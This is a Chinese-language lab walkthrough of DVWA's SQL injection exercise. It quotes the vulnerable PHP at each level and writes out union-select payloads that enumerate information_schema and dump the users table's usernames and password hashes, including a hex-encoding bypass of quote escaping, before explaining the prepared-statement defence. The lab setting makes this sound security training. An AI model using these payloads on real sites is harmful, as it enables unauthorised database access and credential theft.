目录

  1. SQL注入定义
  2. SQL注入流程
  3. 安全级别Low
    1. 源码分析
    2. 漏洞复现
  4. 安全级别Medium
    1. 源码分析
    2. 漏洞复现
  5. 安全级别High
    1. 源码分析
    2. 漏洞复现
  6. 安全级别Impossible

SQL注入定义

  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。(来自百度百科)

SQL注入流程

  当我们在web页面中遇到用户输入框,或者url上显示了输入数据情况,怀疑存在sql注入,可以执行以下步骤:

  1. 寻找注入点,确认是字符串注入还是数字注入
  2. 查询该表中字段数
  3. 查询各字段含义
  4. 找到当前数据库名称
  5. 找出数据库中的表名
  6. 找出表中字段名和字段值
  7. 写入webshell

安全级别Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input 获取输入的id
$id = $_REQUEST[ 'id' ];

// Check database 数据库查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results 获取查询结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user 显示结果
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

  关键数据库查询语句如下,id传入是字符串型:

1
SELECT first_name, last_name FROM users WHERE user_id = '$id';

  DVWA中注入位置如下,是数据库id查询框:

  其中$id就是用户的输入内容,可以看出,该代码并未对用户输入进行处理,而是直接拼接成sql语句执行,因此很容易注入。

漏洞复现

  输入框输入1,显示信息是该id的First name和Surname:

  输入框输入1’,测试是否有引号闭合:

  提示引号错误,因为多了一个单引号,查询语句变为:

1
SELECT first_name, last_name FROM users WHERE user_id = '1'';

  说明输入是字符串型输入,要闭合单引号。这和我们看到的代码吻合,sql查询语句中使用‘id’,输入内容被当做字符串。
  闭合单引号,输入框输入1’ and 1=1#,结果如下:

  该语句中1=1为永真条件,sql中#为注释符,因此原语句单引号被注释掉,不会发生错误,查询语句变为:

1
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';

  在mysql语句中使用order by进行查询的排序,order by后可以接字段名,也可以接字段号,如按照第一个字段排序就是order by 1。因此可以利用该特性找出表中的字段数,当order by 报错时,说明超出表中的字段数。输入1’ order by 2#,结果如下:

  当我们输入1’ order by 3# 时显示:

  说明该表中只有两个字段,即显示的First name和Surname。
  在mysql中可以使用union联合查询多条信息,而select有一个特性,select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字。我们利用该特性来注入,输入1’ union select 1,2#,结果如下:

  如果我们替换select后面的1和2为sql语句,那么就会先执行语句再显示。mysql中可以使用database()显示当前数据库名,使用version()显示版本信息。那么我们输入:
  1’ union select version(),database()#
  结果如下:

  以上都是一些比较基础和简单的信息,接下来我们需要爆出库中的表、表中的各项数据。首先需要知道mysql中有一个信息数据库 information_schema ,记录了该数据库的各种信息。
  information_schema.schemata表,表中schema_name记录了数据库名称;information_schema.tables表,表中table_schema记录数据表所属的数据库名,table_name记录表名称;information_schema.columns表,表中table_name记录该列的表名,column_name 记录列名。利用这三个表可以获得数据库中的各种信息。
  输入:
  1’ union select 1,group_concat(schema_name) from information_schema.schemata#
  获取数据库的名称:

  现在知道有一个名为dvwa的数据库,输入:
  1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#
  查找属于dvwa库的表名称:

  查询到dvwa数据库中有guestbook和users表,因此输入:
  1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#
  查询users表中的字段名称:

  现在已经获取到关键字段名称,如first_name、last_name,就是正常显示的字段。其中有user、password两个字段,获取这两个字段信息,现在已经知道表名和字段名,直接查询即可,输入:
  1’ union select user,password from users#
  结果如下:

安全级别Medium

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//mysqli_real_escape_string将x00,\n,\r,\,',",x1a这些特殊字符转义,防SQL注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

  代码和初级有所不同,在获取id传入数据后,调用mysqli_real_escape_string函数将x00,\n,\r,\,’,”,x1a这些特殊字符转义,防SQL注入。同时查询语句中id直接作为数字传入,没有单引号。
  DVWA中中级显示如下,这次连输入框都没有了,通过下拉列表来实现id传入。

漏洞复现

  在下拉列表中选择1,并点击Submit提交,获取到如下信息:

  此时我们的url也没有发生变化,因此找不到注入点。我们通过burpsuit抓包看看:

  发现Submit是通过POST方法提交的,post传入的数据为id=1&Submit=Submit。因此我们可以更改post传入的id值来进行注入,使用hackbar插件,直接填充post的数据:
  Submit=Submit&id=1 union select 1,2


  剩余步骤和级别low相同,一步步找出数据库名、表名、列名,最后获得用户和密码。需要注意的是单引号等特殊字符被转义,因此不能使用,当我们需要使用’dvwa’或者’users’时,可以使用16进制来绕过:

1
2
3
4
1 union select 1,group_concat(schema_name) from information_schema.schemata#
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761# 0x64767761是dvwa的16进制
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# 0x7573657273是users的16进制
1 union select user,password from users#

  最后结果如下:


安全级别High

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  DVWA中高级显示如下,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入。分析源码可可知,对参数没有做防御,和级别low类似。

  点击链接后:

漏洞复现

  在输入框中输入1’ union select 1,2#,可以直接执行,结果如下:

  因此使用和low一样的步骤,可以依次得到数据库、表、列等数据,这里不再演示。

安全级别Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

  impossible中使用了两处安全防护措施:

  1. Anti-CSRF token
1
2
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

  使用token验证用户,防止CSRF攻击

  1. 数字检查

  使用is_numeric( $id )判断输入的id是数字还是字符串,只有输入为数字才执行sql查询。

  1. sql预处理
1
2
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );

  预处理和PDO会将传入的id值当做一个整体来处理,在运行时才替换参数,因此就算id中使用了引号或者sql语句,执行时会将其当做一整个字符串,不会有拼接动作,也就不能sql注入。
  同时最后使用了$data->rowCount() == 1,限制查询结果为一条时才输出,有效防止信息泄露。